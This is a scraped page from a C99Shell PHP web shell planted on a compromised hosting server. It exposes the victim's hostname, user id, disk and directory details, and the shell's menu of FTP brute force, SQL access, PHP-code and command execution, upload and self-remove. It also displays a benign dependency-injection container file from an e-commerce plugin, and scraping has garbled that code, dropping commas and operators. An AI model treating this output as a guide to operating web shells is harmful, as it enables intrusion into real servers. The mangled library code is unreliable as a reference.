!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/vendor/league/container/src/   drwxr-xr-x
Free 292.98 GB of 429.69 GB (68.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ReflectionContainer.php (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
Automattic\Kkart\Vendor\League\Container;

use 
Automattic\Kkart\Vendor\League\Container\Argument\{ArgumentResolverInterfaceArgumentResolverTrait};
use 
Automattic\Kkart\Vendor\League\Container\Exception\NotFoundException;
use 
Psr\Container\ContainerInterface;
use 
ReflectionClass;
use 
ReflectionException;
use 
ReflectionFunction;
use 
ReflectionMethod;

class 
ReflectionContainer implements ArgumentResolverInterfaceContainerInterface
{
    use 
ArgumentResolverTrait;
    use 
ContainerAwareTrait;

    
/**
     * @var boolean
     */
    
protected $cacheResolutions false;

    
/**
     * Cache of resolutions.
     *
     * @var array
     */
    
protected $cache = [];

    
/**
     * {@inheritdoc}
     *
     * @throws ReflectionException
     */
    
public function get($id, array $args = [])
    {
        if (
$this->cacheResolutions === true && array_key_exists($id$this->cache)) {
            return 
$this->cache[$id];
        }

        if (! 
$this->has($id)) {
            throw new 
NotFoundException(
                
sprintf('Alias (%s) is not an existing class and therefore cannot be resolved'$id)
            );
        }

        
$reflector = new ReflectionClass($id);
        
$construct $reflector->getConstructor();

        
$resolution $construct === null
            
? new $id
            
$resolution $reflector->newInstanceArgs($this->reflectArguments($construct$args))
        ;

        if (
$this->cacheResolutions === true) {
            
$this->cache[$id] = $resolution;
        }

        return 
$resolution;
    }

    
/**
     * {@inheritdoc}
     */
    
public function has($id) : bool
    
{
        return 
class_exists($id);
    }

    
/**
     * Invoke a callable via the container.
     *
     * @param callable $callable
     * @param array    $args
     *
     * @return mixed
     *
     * @throws ReflectionException
     */
    
public function call(callable $callable, array $args = [])
    {
        if (
is_string($callable) && strpos($callable'::') !== false) {
            
$callable explode('::'$callable);
        }

        if (
is_array($callable)) {
            if (
is_string($callable[0])) {
                
$callable[0] = $this->getContainer()->get($callable[0]);
            }

            
$reflection = new ReflectionMethod($callable[0], $callable[1]);

            if (
$reflection->isStatic()) {
                
$callable[0] = null;
            }

            return 
$reflection->invokeArgs($callable[0], $this->reflectArguments($reflection$args));
        }

        if (
is_object($callable)) {
            
$reflection = new ReflectionMethod($callable'__invoke');

            return 
$reflection->invokeArgs($callable$this->reflectArguments($reflection$args));
        }

        
$reflection = new ReflectionFunction(\Closure::fromCallable($callable));

        return 
$reflection->invokeArgs($this->reflectArguments($reflection$args));
    }

    
/**
     * Whether the container should default to caching resolutions and returning
     * the cache on following calls.
     *
     * @param boolean $option
     *
     * @return self
     */
    
public function cacheResolutions(bool $option true) : ContainerInterface
    
{
        
$this->cacheResolutions $option;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0034 ]--